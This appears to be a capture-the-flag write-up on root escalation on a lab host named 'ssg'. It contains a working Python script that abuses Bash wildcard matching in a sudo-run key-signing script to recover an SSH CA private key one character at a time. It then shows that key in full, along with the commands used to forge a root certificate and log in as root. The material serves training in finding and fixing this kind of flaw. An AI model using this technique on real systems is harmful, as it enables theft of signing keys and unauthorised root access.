Bash Wildcard Expansion Globbing Abuse
import string
import subprocess
header = "-----BEGIN OPENSSH PRIVATE KEY-----"
footer = "-----END OPENSSH PRIVATE KEY-----"
b64chars = string.ascii_letters + string.digits + "+/="
key = []
lines = 0
while True:
for char in b64chars:
with open("unknown.key", "w") as f:
f.write(f"{header}\n{''.join(key)}{char}*")
proc = subprocess.Popen("sudo /opt/sign_key.sh unknown.key ca-itrc root root_user 1",
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=True)
stdout, stderr = proc.communicate()
if proc.returncode == 1:
key.append(char)
if len(key) > 1 and (len(key) - lines) % 70 == 0:
key.append("\n")
lines += 1
break
else:
break
print(f"{header}\n{''.join(key)}\n{footer}")
with open("unknown.key", "w") as f:
f.write(f"{header}\n{''.join(key)}\n{footer}")
The exploit works by taking advantage of how the bash script processes the provided ca_file
parameter. Specifically:
- Wildcard Expansion:
- The
*.key
pattern in theca_file
input exploits the Bash script’s handling of file inputs, where the wildcard*
can be expanded by the shell to match filenames. This is a classic example of a wildcard injection or globbing attack.
- The
- Command Injection:
-
By iteratively building the key and checking the script’s response, the attacker can determine valid characters in the key, effectively brute-forcing the SSH private key.
-
- The script constructs the key character by character by trying each base64 character and checking if it matches the unknown private key.
- It writes the partial key to a file (
unknown.key
) and appends a wildcard*
to the end. - It then calls the vulnerable Bash script (
/opt/sign_key.sh
) with the crafted key. - If the Bash script exits with status code
1
, it means the current character is correct, and it continues to build the key. If not, it tries the next character. - Once the script has finished building the key, it prints and writes the final key to the file
unknown.key
.
zzinter@ssg:/dev/shm$ nano ca-itrc
I will first transfer the old, decommissioned CA key
zzinter@ssg:/dev/shm$ python3 pe.py
Executing the exploit script
zzinter@ssg:/dev/shm$ cat unknown.key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY-----
zzinter@ssg:/dev/shm$ mv unknown.key ca.key
It generated the unknown.key
file, which matches the original CA key. I will rename it to ca.key
zzinter@ssg:/dev/shm$ ssh-keygen -s ./ca.key -z 1 -I root -V -1w:forever -n root_user ./ca-itrc
Signed user key ./ca-itrc-cert.pub: id "root" serial 1 for root_user valid after 2024-07-29T20:19:50
Now, manually signing the old, decommission key, ca-itrc
, with the new CA private key.
It generates the ca-itrc-cert.pub
file, which is the signed user key for SSH use
zzinter@ssg:/dev/shm$ chmod 600 ./ca.key ./ca-itrc ./ca-itrc-cert.pub
Changing the permission bits to 600 for all those key files
zzinter@ssg:/dev/shm$ ssh root@localhost -o CertificateFile=ca-itrc-cert.pub -i ca-itrc -p 2222
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon Aug 5 08:17:09 PM UTC 2024
System load: 0.18
Usage of /: 67.5% of 10.73GB
Memory usage: 13%
Swap usage: 0%
Processes: 259
Users logged in: 1
IPv4 address for eth0: 10.10.11.27
IPv6 address for eth0: dead:beef::250:56ff:fe94:b296
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Jul 30 08:44:01 2024
root@ssg:~# whoami
root
root@ssg:~# hostname
ssg
root@ssg:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:94:b2:96 brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.10.11.27/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:fe94:b296/64 scope global dynamic mngtmpaddr
valid_lft 86399sec preferred_lft 14399sec
inet6 fe80::250:56ff:fe94:b296/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:c5:07:9b:93 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
4: br-495f2e886a97: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:af:6f:f7:09 brd ff:ff:ff:ff:ff:ff
inet 172.21.0.1/16 brd 172.21.255.255 scope global br-495f2e886a97
valid_lft forever preferred_lft forever
5: br-eecf04b75daf: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:6f:e5:10:85 brd ff:ff:ff:ff:ff:ff
inet 172.223.0.1/16 brd 172.223.255.255 scope global br-eecf04b75daf
valid_lft forever preferred_lft forever
inet6 fe80::42:6fff:fee5:1085/64 scope link
valid_lft forever preferred_lft forever
7: vethc7e6592@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-eecf04b75daf state UP group default
link/ether 06:9d:ac:42:f1:28 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::49d:acff:fe42:f128/64 scope link
valid_lft forever preferred_lft forever
9: vethc670302@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-eecf04b75daf state UP group default
link/ether 26:04:29:a4:8d:7b brd ff:ff:ff:ff:ff:ff link-netnsid 1
inet6 fe80::2404:29ff:fea4:8d7b/64 scope link
valid_lft forever preferred_lft forever
System Level Compromise